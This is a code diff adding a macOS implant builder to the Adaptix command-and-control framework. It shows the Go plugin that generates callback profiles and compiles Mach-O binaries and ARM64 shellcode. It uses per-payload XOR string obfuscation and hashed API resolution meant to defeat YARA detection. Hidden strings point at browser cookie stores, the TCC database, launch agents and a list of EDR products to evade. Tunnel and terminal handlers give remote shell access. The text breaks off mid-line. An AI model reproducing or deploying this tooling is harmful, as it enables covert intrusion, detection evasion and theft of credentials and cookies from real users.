"sysctl"}, + {"HASH_FUNC_SYSCTLBYNAME", "sysctlbyname"}, + {"HASH_FUNC_GETENV", "getenv"}, + {"HASH_FUNC_SETENV", "setenv"}, + {"HASH_FUNC_SLEEP", "sleep"}, + {"HASH_FUNC_USLEEP", "usleep"}, + }, + }, + { + "// ── Pipes & PTY ──", + []struct{ define, name string }{ + {"HASH_FUNC_PIPE", "pipe"}, + {"HASH_FUNC_DUP2", "dup2"}, + {"HASH_FUNC_FCNTL", "fcntl"}, + {"HASH_FUNC_POSIX_OPENPT", "posix_openpt"}, + {"HASH_FUNC_GRANTPT", "grantpt"}, + {"HASH_FUNC_UNLOCKPT", "unlockpt"}, + {"HASH_FUNC_PTSNAME", "ptsname"}, + {"HASH_FUNC_IOCTL", "ioctl"}, + }, + }, + { + "// ── Threading ──", + []struct{ define, name string }{ + {"HASH_FUNC_PTHREAD_CREATE", "pthread_create"}, + {"HASH_FUNC_PTHREAD_DETACH", "pthread_detach"}, + {"HASH_FUNC_PTHREAD_MUTEX_INIT", "pthread_mutex_init"}, + {"HASH_FUNC_PTHREAD_MUTEX_LOCK", "pthread_mutex_lock"}, + {"HASH_FUNC_PTHREAD_MUTEX_UNLOCK", "pthread_mutex_unlock"}, + }, + }, + { + "// ── Crypto/Random ──", + []struct{ define, name string }{ + {"HASH_FUNC_ARC4RANDOM_BUF", "arc4random_buf"}, + }, + }, + { + "// ── String/Misc ──", + []struct{ define, name string }{ + {"HASH_FUNC_DLOPEN", "dlopen"}, + {"HASH_FUNC_DLSYM", "dlsym"}, + {"HASH_FUNC_DLCLOSE", "dlclose"}, + }, + }, + { + "// ── macOS-specific ──", + []struct{ define, name string }{ + {"HASH_FUNC_GETPWUID", "getpwuid"}, + {"HASH_FUNC_GETGRGID", "getgrgid"}, + {"HASH_FUNC_GETIFADDRS", "getifaddrs"}, + {"HASH_FUNC_FREEIFADDRS", "freeifaddrs"}, + {"HASH_FUNC_INET_NTOP", "inet_ntop"}, + {"HASH_FUNC_LOCALTIME", "localtime"}, + {"HASH_FUNC_STRFTIME", "strftime"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + }, + }, +} + +// Sensitive strings that should be XOR-encoded per-payload +var obfuscatedStrings = []struct { + define string + value string +}{ + {"OBF_SCREENCAPTURE", "/usr/sbin/screencapture"}, + {"OBF_PBPASTE", "/usr/bin/pbpaste"}, + {"OBF_LAUNCHCTL", "/bin/launchctl"}, + {"OBF_SECURITY_BIN", "/usr/bin/security"}, + {"OBF_DEFAULTS", "/usr/bin/defaults"}, + {"OBF_SQLITE3", "/usr/bin/sqlite3"}, + {"OBF_PS", "/bin/ps"}, + {"OBF_RM", "/bin/rm"}, + {"OBF_DITTO", "/usr/bin/ditto"}, + {"OBF_SH", "/bin/sh"}, + {"OBF_BASH", "/bin/bash"}, + {"OBF_ZSH", "/bin/zsh"}, + {"OBF_DEV_URANDOM", "/dev/urandom"}, + {"OBF_TCC_DB", "/Library/Application Support/com.apple.TCC/TCC.db"}, + {"OBF_CHROME_COOKIES", "Library/Application Support/Google/Chrome/Default/Cookies"}, + {"OBF_FIREFOX_COOKIES", "Library/Application Support/Firefox/Profiles"}, + {"OBF_LAUNCH_AGENTS", "Library/LaunchAgents"}, + {"OBF_LAUNCH_DAEMONS", "/Library/LaunchDaemons"}, + {"OBF_LS", "/bin/ls"}, + {"OBF_TMP", "/tmp"}, + {"OBF_SYSVER_PLIST", "/System/Library/CoreServices/SystemVersion.plist"}, + {"OBF_CHROME_DEFAULT", "Library/Application Support/Google/Chrome/Default/"}, + + // EDR product paths — critical YARA targets + {"OBF_EDR_CS_FALCONCTL", "/Library/CS/falconctl"}, + {"OBF_EDR_CS_FALCON", "/Library/Application Support/com.crowdstrike.falcon"}, + {"OBF_EDR_ADDIGY", "/Library/Addigy/auditor"}, + {"OBF_EDR_MALWAREBYTES", "/Library/Application Support/Malwarebytes"}, + {"OBF_EDR_JAMF", "/Library/Application Support/JAMF"}, + {"OBF_EDR_S1_APP", "/Applications/SentinelOne/SentinelAgent.app"}, + {"OBF_EDR_S1_LIB", "/Library/Sentinel/sentinel-agent.bundle"}, + {"OBF_EDR_ES_KEXT", "/Library/Extensions/EndpointSecurity.kext"}, + {"OBF_EDR_SOPHOS", "/Library/Application Support/Sophos"}, + {"OBF_EDR_ELASTIC", "/Library/Application Support/com.elastic.endpoint"}, + {"OBF_EDR_BLOCKBLOCK", "/Applications/BlockBlock Helper.app"}, + {"OBF_EDR_LULU", "/Applications/LuLu.app"}, + {"OBF_EDR_KNOCKKNOCK", "/Applications/KnockKnock.app"}, + {"OBF_EDR_REIKEY", "/Applications/ReiKey.app"}, + {"OBF_EDR_XPROTECT", "/Library/Apple/System/Library/Extensions/AppleHV.kext"}, +} + +// generateObfStrings generates a strings_obf.h with XOR-encoded sensitive strings. +func generateObfStrings() string { + key := make([]byte, 16) + _, _ = rand.Read(key) + + var b strings.Builder + b.WriteString("#pragma once\n\n") + b.WriteString("// Auto-generated — per-payload XOR-obfuscated strings\n\n") + b.WriteString("#include \n\n") + + // Write XOR key defines + for i := 0; i < 16; i++ { + b.WriteString(fmt.Sprintf("#define XOR_KEY_%d 0x%02x\n", i, key[i])) + } + b.WriteString("\n") + + // XOR key array + b.WriteString("static const uint8_t _xor_key[16] = {\n ") + for i := 0; i < 16; i++ { + b.WriteString(fmt.Sprintf("XOR_KEY_%d", i)) + if i < 15 { + b.WriteString(", ") + } + if i == 7 { + b.WriteString("\n ") + } + } + b.WriteString("\n};\n\n") + + // xor_decode function + macros + b.WriteString(`static inline void xor_decode(char* buf, const uint8_t* enc, int len) { + for (int i = 0; i < len; i++) { + buf[i] = (char)(enc[i] ^ _xor_key[i % 16]); + } + buf[len] = '\0'; +} + +#define DEOBF(var_name, obf_array) \ + char var_name[sizeof(obf_array)]; \ + xor_decode(var_name, obf_array, sizeof(obf_array) - 1) + +#define ZERO_STR(var_name, obf_array) do { \ + volatile char* _p = (volatile char*)(var_name); \ + for (unsigned _i = 0; _i < sizeof(obf_array); _i++) _p[_i] = 0; \ +} while(0) + +`) + + for _, entry := range obfuscatedStrings { + data := []byte(entry.value) + b.WriteString(fmt.Sprintf("// \"%s\" (%d bytes)\n", entry.value, len(data))) + b.WriteString(fmt.Sprintf("static const uint8_t %s[] = {\n ", entry.define)) + for i, ch := range data { + enc := ch ^ key[i%16] + if i > 0 && i%12 == 0 { + b.WriteString("\n ") + } + b.WriteString(fmt.Sprintf("0x%02x", enc)) + if i < len(data)-1 { + b.WriteString(", ") + } + } + // XOR'd null terminator + nullEnc := byte(0) ^ key[len(data)%16] + b.WriteString(fmt.Sprintf(", 0x%02x", nullEnc)) + b.WriteString("\n};\n\n") + } + + return b.String() +} + +// generateMacosApiDefines generates the ApiDefines.h content for macOS +// with DJB2 hashes computed using the given random seed. +func generateMacosApiDefines(seed uint32) string { + var b strings.Builder + b.WriteString("#pragma once\n\n") + b.WriteString("// Auto-generated — per-payload DJB2 hashes\n") + b.WriteString(fmt.Sprintf("// Seed: 0x%08x\n\n", seed)) + + // Library hashes + b.WriteString("// ── Library hashes (dylib basenames) ──\n") + for _, lib := range macosLibs { + h := djb2Hash(seed, lib.libName) + pad := 40 - len(lib.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%xU\n", lib.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + + // Function hashes + for _, section := range macosFuncSections { + b.WriteString(section.comment + "\n") + for _, entry := range section.funcs { + h := djb2Hash(seed, entry.name) + pad := 40 - len(entry.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%xU\n", entry.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + } + + return b.String() +} diff --git a/AdaptixServer/extenders/macos_agent/pl_main.go b/AdaptixServer/extenders/macos_agent/pl_main.go new file mode 100644 index 000000000..8d516c33b --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_main.go @@ -0,0 +1,1876 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/binary" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + mrand "math/rand/v2" + "os" + "strconv" + "strings" + "time" + + "github.com/Adaptix-Framework/axc2" + "github.com/google/shlex" + "github.com/vmihailenco/msgpack/v5" +) + +type Teamserver interface { + TsListenerInteralHandler(watermark string, data []byte) (string, error) + + TsAgentProcessData(agentId string, bodyData []byte) error + + TsAgentUpdateData(newAgentData adaptix.AgentData) error + TsAgentTerminate(agentId string, terminateTaskId string) error + TsAgentUpdateDataPartial(agentId string, updateData interface{}) error + + TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error + TsAgentBuildLog(builderId string, status int, message string) error + + TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool) + + TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error + TsGetPivotInfoByName(pivotName string) (string, string, string) + TsGetPivotInfoById(pivotId string) (string, string, string) + TsPivotDelete(pivotId string) error + + TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData) + TsTaskUpdate(agentId string, data adaptix.TaskData) + TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error) + + TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error + TsDownloadUpdate(fileId string, state int, data []byte) error + TsDownloadClose(fileId string, reason int) error + TsDownloadSave(agentId string, fileId string, filename string, content []byte) error + + TsScreenshotAdd(agentId string, Note string, Content []byte) error + + TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin) + TsClientGuiFilesStatus(taskData adaptix.TaskData) + TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin) + TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix) + TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin) + TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix) + + TsTunnelStart(TunnelId string) (string, error) + TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error) + TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error) + TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error) + TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error) + TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error) + + TsTunnelStopSocks(AgentId string, Port int) + TsTunnelStopLportfwd(AgentId string, Port int) + TsTunnelStopRportfwd(AgentId string, Port int) + + TsTunnelConnectionClose(channelId int, writeOnly bool) + TsTunnelConnectionHalt(channelId int, errorCode byte) + TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool) + TsTunnelConnectionData(channelId int, data []byte) + TsTunnelConnectionAccept(tunnelId int, channelId int) + TsTunnelPause(channelId int) + TsTunnelResume(channelId int) + + TsTerminalConnExists(terminalId string) bool + TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error) + TsTerminalConnResume(agentId string, terminalId string, ioDirect bool) + TsTerminalConnData(terminalId string, data []byte) + TsTerminalConnClose(terminalId string, status string) error + + TsConvertCpToUTF8(input string, codePage int) string + TsConvertUTF8toCp(input string, codePage int) string + TsWin32Error(errorCode uint) string +} + +type PluginAgent struct{} + +type ExtenderAgent struct{} + +var ( + Ts Teamserver + ModuleDir string + AgentWatermark string +) + +func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent { + ModuleDir = moduleDir + AgentWatermark = watermark + Ts = ts.(Teamserver) + return &PluginAgent{} +} + +func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent { + return &ExtenderAgent{} +} + +func makeProxyTask(packData []byte) adaptix.TaskData { + return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false} +} + +func getStringArg(args map[string]any, key string) (string, error) { + v, ok := args[key].(string) + if !ok { + return "", fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getFloatArg(args map[string]any, key string) (float64, error) { + v, ok := args[key].(float64) + if !ok { + return 0, fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getBoolArg(args map[string]any, key string) bool { + v, _ := args[key].(bool) + return v +} + +/// TUNNEL + +func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks { + return adaptix.TunnelCallbacks{ + ConnectTCP: TunnelMessageConnectTCP, + ConnectUDP: TunnelMessageConnectUDP, + WriteTCP: TunnelMessageWriteTCP, + WriteUDP: TunnelMessageWriteUDP, + Close: TunnelMessageClose, + Reverse: TunnelMessageReverse, + Pause: TunnelMessagePause, + Resume: TunnelMessageResume, + } +} + +func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "tcp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "udp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TunnelMessageClose(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelStop{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { + var packData []byte + return makeProxyTask(packData) +} + +func TunnelMessagePause(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelPause{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_PAUSE, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageResume(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelResume{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_RESUME, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +/// TERMINAL + +func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks { + return adaptix.TerminalCallbacks{ + Start: TerminalMessageStart, + Write: TerminalMessageWrite, + Close: TerminalMessageClose, + } +} + +func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStart{TermId: terminalId, Program: program, Height: sizeH, Width: sizeW}) + cmd := Command{Code: COMMAND_TERMINAL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TerminalMessageClose(terminalId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStop{TermId: terminalId}) + cmd := Command{Code: COMMAND_TERMINAL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +////// PLUGIN AGENT + +type GenerateConfig struct { + Format string `json:"format"` + ReconnectTimeout string `json:"reconn_timeout"` + ReconnectCount int `json:"reconn_count"` +} + +var SrcPath = "src_macos" + +func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { + var agentProfiles [][]byte + + for _, transportProfile := range profile.ListenerProfiles { + + var listenerMap map[string]any + if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil { + return nil, err + } + + var ( + generateConfig GenerateConfig + profileData []byte + ) + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, err + } + + agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64) + if err != nil { + return nil, err + } + + encrypt_key, _ := listenerMap["encrypt_key"].(string) + encryptKey, err := hex.DecodeString(encrypt_key) + if err != nil { + return nil, err + } + + reconnectTimeout, err := parseDurationToSeconds(generateConfig.ReconnectTimeout) + if err != nil { + return nil, err + } + + protocol, _ := listenerMap["protocol"].(string) + switch protocol { + + case "tcp": + + tcp_banner, _ := listenerMap["tcp_banner"].(string) + + servers, _ := listenerMap["callback_addresses"].(string) + + servers = strings.ReplaceAll(servers, " ", "") + servers = strings.ReplaceAll(servers, "\n", ",") + servers = strings.TrimSuffix(servers, ",") + addresses := strings.Split(servers, ",") + + var sslKey []byte + var sslCert []byte + var caCert []byte + Ssl, _ := listenerMap["ssl"].(bool) + if Ssl { + ssl_key, _ := listenerMap["client_key"].(string) + sslKey, err = base64.StdEncoding.DecodeString(ssl_key) + if err != nil { + return nil, err + } + + ssl_cert, _ := listenerMap["client_cert"].(string) + sslCert, err = base64.StdEncoding.DecodeString(ssl_cert) + if err != nil { + return nil, err + } + + ca_cert, _ := listenerMap["ca_cert"].(string) + caCert, err = base64.StdEncoding.DecodeString(ca_cert) + if err != nil { + return nil, err + } + } + + profile := Profile{ + Type: uint(agentWatermark), + Addresses: addresses, + BannerSize: len(tcp_banner), + ConnTimeout: reconnectTimeout, + ConnCount: generateConfig.ReconnectCount, + UseSSL: Ssl, + SslCert: sslCert, + SslKey: sslKey, + CaCert: caCert, + } + profileData, _ = msgpack.Marshal(profile) + + default: + return nil, errors.New("protocol unknown") + } + + extHandler := ExtenderAgent{} + profileData, _ = extHandler.Encrypt(profileData, encryptKey) + profileData = append(encryptKey, profileData...) + + profileString := "" + for _, b := range profileData { + profileString += fmt.Sprintf("\\x%02x", b) + } + agentProfiles = append(agentProfiles, []byte(profileString)) + } + return agentProfiles, nil +} + +/// Native C agent build constants +var ( + NativeSrcDir = "src_agent/agent" + NativeCompiler = "aarch64-apple-darwin23.5-clang" + NativeCFlags = "-Os -fno-stack-protector -fno-builtin -Wall -Wextra -Wno-unused-parameter -Wno-unused-function" + NativeLFlags = "-lSystem -framework CoreFoundation" + NativeObjFiles = []string{"crt", "msgpack", "crypt", "connector", "agent_info", "commander", "tasks_fs", "tasks_proc", "tasks_macos", "jobs", "tasks_async", "tasks_net", "dyld_resolve", "opsec"} +) + +func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) { + var ( + Filename string + Payload []byte + ) + + var ( + generateConfig GenerateConfig + buildPath string + ) + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, "", err + } + + currentDir := ModuleDir + tempDir, err := os.MkdirTemp("", "ax-macos-*") + if err != nil { + return nil, "", err + } + + switch generateConfig.Format { + case "Binary Mach-O (Native)": + return p.buildNativePayload(profile, agentProfiles, generateConfig, currentDir, tempDir) + case "Shellcode ARM64 (Native)": + return p.buildNativeShellcode(profile, agentProfiles, generateConfig, currentDir, tempDir) + case "Binary Mach-O": + Filename = "agent.bin" + case "Dylib": + Filename = "agent.dylib" + default: + Filename = "agent.bin" + } + + // ── Go build pipeline (existing) ── + + GoOs := "darwin" + GoArch := "arm64" + + buildPath = tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: %s/%s (Apple Silicon), Output: %s", GoOs, GoArch, Filename)) + + // Write embedded profile config + config := "package main\n\nvar encProfiles = [][]byte{\n" + for _, p := range agentProfiles { + config += fmt.Sprintf(" []byte(\"%s\"),\n", p) + } + config += "}\n" + + configPath := currentDir + "/" + SrcPath + "/config.go" + err = os.WriteFile(configPath, []byte(config), 0644) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + + // OPSEC: Per-payload variation — unique XOR key + build nonce + xorKey := make([]byte, 16) + _, _ = rand.Read(xorKey) + buildNonce := make([]byte, 32) + _, _ = rand.Read(buildNonce) + + obfStrings := generateObfuscatedStrings(xorKey, buildNonce) + obfPath := currentDir + "/" + SrcPath + "/utils/strings_obf.go" + err = os.WriteFile(obfPath, []byte(obfStrings), 0644) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("OPSEC: XOR key generated (%s...), strings obfuscated", hex.EncodeToString(xorKey[:4]))) + + LdFlags := "-s -w -buildid=" + GcFlags := "all=-B -C" + cmdBuild := fmt.Sprintf("GOWORK=off CGO_ENABLED=0 GOOS=%s GOARCH=%s go build -trimpath -gcflags=\"%s\" -ldflags=\"%s\" -o %s", GoOs, GoArch, GcFlags, LdFlags, buildPath) + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Starting build process (darwin/arm64)...") + + var buildArgs []string + buildArgs = append(buildArgs, "-c", cmdBuild) + err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir+"/"+SrcPath, "sh", buildArgs...) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + + Payload, err = os.ReadFile(buildPath) + if err != nil { + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload))) + + return Payload, Filename, nil +} + +/// ── Native C build pipeline (osxcross) ── + +func (p *PluginAgent) buildNativePayload(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_native.bin" + buildPath := tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: darwin/arm64 (Native C, Apple Silicon)") + + // srcDir is relative to currentDir (which is used as runner.Dir) + srcDir := NativeSrcDir + + // ── Step 1: Generate config.h with encrypted profile data ── + configContent := generateNativeConfig(agentProfiles) + configPath := tempDir + "/config.h" + if err := os.WriteFile(configPath, []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles))) + + // ── Step 1b: Generate per-payload DJB2 seed + ApiDefines.h ── + djb2Seed := cryptoRandUint32() + apiDefinesContent := generateMacosApiDefines(djb2Seed) + apiDefinesPath := tempDir + "/ApiDefines.h" + if err := os.WriteFile(apiDefinesPath, []byte(apiDefinesContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed)) + + // ── Step 1c: Generate per-payload XOR-obfuscated strings ── + obfContent := generateObfStrings() + obfPath := tempDir + "/strings_obf.h" + if err := os.WriteFile(obfPath, []byte(obfContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)") + + // ── Step 2: Build cflags — tempDir first for generated headers ── + cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU", NativeCFlags, tempDir, srcDir, djb2Seed) + + // ── Step 3: Compile each source file ── + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -c %s -o %s", + NativeCompiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + // Compile shared object files + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + + // Compile main.c + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully") + + // ── Step 4: Link ── + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + linkCmd := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -o %s %s", + NativeCompiler, NativeLFlags, buildPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link: %w", err) + } + + // ── Step 5: Ad-hoc codesign ── + // Apple Silicon REQUIRES all binaries to be signed (even ad-hoc). + // The linker adds an ad-hoc signature, but strip removes it. + // We skip strip to preserve the signature — binary is already small (~100KB) + // and OPSEC benefits from no strip (less tooling fingerprint). + // If ldid is available, re-sign after strip for minimal size. + stripAndSign := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH; "+ + "if command -v ldid >/dev/null 2>&1; then "+ + "aarch64-apple-darwin23.5-strip %s 2>/dev/null; ldid -S %s; "+ + "fi", buildPath, buildPath) + _ = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", stripAndSign) + + // ── Read output ── + Payload, err := os.ReadFile(buildPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native Mach-O ARM64)", len(Payload))) + + return Payload, Filename, nil +} + +/// ── Native C shellcode build pipeline (dylib + XOR encoder) ── + +func (p *PluginAgent) buildNativeShellcode(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_shellcode.bin" + dylibPath := tempDir + "/agent_native.dylib" + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: darwin/arm64 (Shellcode ARM64, Native C)") + + srcDir := NativeSrcDir + + // ── Step 1: Generate config.h, ApiDefines.h, strings_obf.h (same as Mach-O) ── + configContent := generateNativeConfig(agentProfiles) + if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles))) + + djb2Seed := cryptoRandUint32() + if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateMacosApiDefines(djb2Seed)), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed)) + + if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)") + + // ── Step 2: Compile with -DBUILD_DYLIB ── + cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU -DBUILD_DYLIB", NativeCFlags, tempDir, srcDir, djb2Seed) + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (dylib mode, per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -c %s -o %s", + NativeCompiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully 